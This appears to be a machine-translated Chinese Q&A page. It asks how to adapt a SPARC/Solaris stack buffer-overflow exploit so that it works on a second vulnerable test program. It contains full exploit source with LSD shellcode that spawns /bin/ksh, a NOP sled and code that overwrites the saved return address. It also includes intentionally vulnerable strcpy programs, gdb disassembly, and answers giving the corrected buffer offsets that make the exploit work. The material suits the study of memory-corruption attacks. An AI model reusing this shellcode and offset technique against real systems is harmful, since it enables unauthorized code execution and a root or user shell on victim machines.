如何解决SUN Sparc上的堆栈溢出
|/* attack.c */
/* compile: cc -o attack attack.c */
#include <stdlib.h>
#include <stdio.h>
/* lsd - Solaris shellcode */
static char shell[] = /* 10*4+8 bytes */
\"\\x20\\xbf\\xff\\xff\" /* bn,a */
\"\\x20\\xbf\\xff\\xff\" /* bn,a */
\"\\x7f\\xff\\xff\\xff\" /* call */
\"\\x90\\x03\\xe0\\x20\" /* add %o7,32,%o0 */
\"\\x92\\x02\\x20\\x10\" /* add %o0,16,%o1 */
\"\\xc0\\x22\\x20\\x08\" /* st %g0,[%o0+8] */
\"\\xd0\\x22\\x20\\x10\" /* st %o0,[%o0+16] */
\"\\xc0\\x22\\x20\\x14\" /* st %g0,[%o0+20] */
\"\\x82\\x10\\x20\\x0b\" /* mov 0x0b,%g1 */
\"\\x91\\xd0\\x20\\x08\" /* ta 8 */
\"/bin/ksh\" ;
#define BUFSIZE 464
#define DUFSIZE 456
/* SPARC nop */
static char np[] = \"\\xac\\x15\\xa1\\x6e\";
unsigned long get_sp( void ){ asm(\"or %sp,%sp,%i0\"); }
main( int argc,char *argv[] ) {
char buf[ BUFSIZE+1 ],*ptr;
unsigned long ret,sp;
int rem,i,err;
ret = sp = get_sp();
/* align return address */
if( ( rem = ret % 8 ) ){ ret &= ~(rem); }
bzero( buf,BUFSIZE );
for(i = 0; i < BUFSIZE; i += 4)
strcpy( &buf[i],np );
memcpy( (buf + BUFSIZE - strlen( shell ) - 8),shell,strlen( shell ));
ptr = &buf[DUFSIZE];
/* set fp to a save stack value */
*( ptr++ ) = ( sp >> 24 ) & 0xff;
*( ptr++ ) = ( sp >> 16 ) & 0xff;
*( ptr++ ) = ( sp >> 8 ) & 0xff;
*( ptr++ ) = ( sp ) & 0xff;
/* overwrite saved PC */
*( ptr++ ) = ( ret >> 24 ) & 0xff;
*( ptr++ ) = ( ret >> 16 ) & 0xff;
*( ptr++ ) = ( ret >> 8 ) & 0xff;
*( ptr++ ) = ( ret ) & 0xff;
buf[ BUFSIZE ] = 0;
//err = execl( \"./server1\",\"server1\",buf,( void *)0 );
err = execl( \"./server2\",\"server2\",( void *)0 );
if( err == -1 ) perror(\"execl\");
}
编译并运行Attack.c,我可以利用server1.c中的漏洞
/* server1.c */
/* compile: cc -o server1 server1.c */
void copy(const char *a){
char foo[400];
int i,j,k;
strcpy(foo,a);
i = 1;
}
void main(int argc,char *argv[]){
if(argc >=2 )copy( argv[1] );
}
但是Attack.c对server2却不起作用。知道为什么吗?
/* server2.c */
/* compile: cc -o server2 server2.c */
void copy2( const char *a ){
char buf[200];
int i,k;
strcpy(buf,a);
i = 1;
}
void copy1(const char *a){
char foo[200];
int i,k;
copy2(a);
i = 1;
}
void main( int argc,char *argv[] ) {
if (argc >=2 )copy1( argv[1] );
}
这是server2.c的程序集:
(gdb) disas copy2
Dump of assembler code for function copy2:
0x00010bd8 <copy2+0>: save %sp,-304,%sp
0x00010bdc <copy2+4>: add %fp,-200,%o0
0x00010be0 <copy2+8>: call 0x20ce8 <strcpy@plt>
0x00010be4 <copy2+12>: mov %i0,%o1
0x00010be8 <copy2+16>: mov 1,%l0
0x00010bec <copy2+20>: st %l0,[ %fp + -204 ]
0x00010bf0 <copy2+24>: ret
0x00010bf4 <copy2+28>: restore
0x00010bf8 <copy2+32>: ret
0x00010bfc <copy2+36>: restore
0x00010c00 <copy2+40>: illtrap 0x10000
0x00010c04 <copy2+44>: illtrap 0x10000
0x00010c08 <copy2+48>: illtrap 0x10000
0x00010c0c <copy2+52>: illtrap 0x10000
End of assembler dump.
(gdb) disas copy1
Dump of assembler code for function copy1:
0x00010c10 <copy1+0>: save %sp,%sp
0x00010c14 <copy1+4>: call 0x10bd8 <copy2>
0x00010c18 <copy1+8>: mov %i0,%o0
0x00010c1c <copy1+12>: mov 1,%l0
0x00010c20 <copy1+16>: st %l0,[ %fp + -204 ]
0x00010c24 <copy1+20>: ret
0x00010c28 <copy1+24>: restore
0x00010c2c <copy1+28>: ret
0x00010c30 <copy1+32>: restore
0x00010c34 <copy1+36>: illtrap 0x10000
0x00010c38 <copy1+40>: illtrap 0x10000
0x00010c3c <copy1+44>: illtrap 0x10000
0x00010c40 <copy1+48>: illtrap 0x10000
0x00010c44 <copy1+52>: illtrap 0x10000
End of assembler dump.
(gdb) disas main
Dump of assembler code for function main:
0x00010c48 <main+0>: save %sp,-96,%sp
0x00010c4c <main+4>: cmp %i0,2
0x00010c50 <main+8>: bl 0x10c68 <main+32>
0x00010c54 <main+12>: nop
0x00010c58 <main+16>: call 0x10c10 <copy1>
0x00010c5c <main+20>: ld [ %i1 + 4 ],%o0
0x00010c60 <main+24>: ret
0x00010c64 <main+28>: restore
0x00010c68 <main+32>: ret
0x00010c6c <main+36>: restore
End of assembler dump.
对于server1.c:
(gdb) disas copy
Dump of assembler code for function copy:
0x00010bc0 <copy+0>: save %sp,-504,%sp
0x00010bc4 <copy+4>: add %fp,-400,%o0
0x00010bc8 <copy+8>: call 0x20c98 <strcpy@plt>
0x00010bcc <copy+12>: mov %i0,%o1
0x00010bd0 <copy+16>: mov 1,%l0
0x00010bd4 <copy+20>: st %l0,[ %fp + -404 ]
0x00010bd8 <copy+24>: ret
0x00010bdc <copy+28>: restore
0x00010be0 <copy+32>: ret
0x00010be4 <copy+36>: restore
0x00010be8 <copy+40>: illtrap 0x10000
0x00010bec <copy+44>: illtrap 0x10000
0x00010bf0 <copy+48>: illtrap 0x10000
0x00010bf4 <copy+52>: illtrap 0x10000
End of assembler dump.
(gdb) disas main
Dump of assembler code for function main:
0x00010bf8 <main+0>: save %sp,%sp
0x00010bfc <main+4>: cmp %i0,2
0x00010c00 <main+8>: bl 0x10c18 <main+32>
0x00010c04 <main+12>: nop
0x00010c08 <main+16>: call 0x10bc0 <copy>
0x00010c0c <main+20>: ld [ %i1 + 4 ],%o0
0x00010c10 <main+24>: ret
0x00010c14 <main+28>: restore
0x00010c18 <main+32>: ret
0x00010c1c <main+36>: restore
End of assembler dump.
我需要在Attack.c中进行什么修改才能使其利用server2.c?
解决方法
pfff ...终于。
#define BUFSIZE 464
#define DUFSIZE 256
我以为偏移是8,但是是200 + 8。
,也许编译器没有为ѭ7中的ѭ6分配空间,因为它没有被使用。唯一可以确定的方法是查看可执行文件生成的汇编代码。
,根据我的理解,由于copy2()
是被调用方,copy1()
是调用方,而copy1
的堆栈帧在copy2
以下,我们发现分配给foo和buff的字节总和给出了缓冲区的大小。然后,我们通过向buff大小添加一个值来获得偏移值。该值是通过计算被调用方中被调用缓冲区溢出指令的点与被调用方刚被调用之后的调用方返回地址之间的地址差而获得的,因为这是我们引入Shell代码的地方。
增益大小+ 32 + 32-8
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。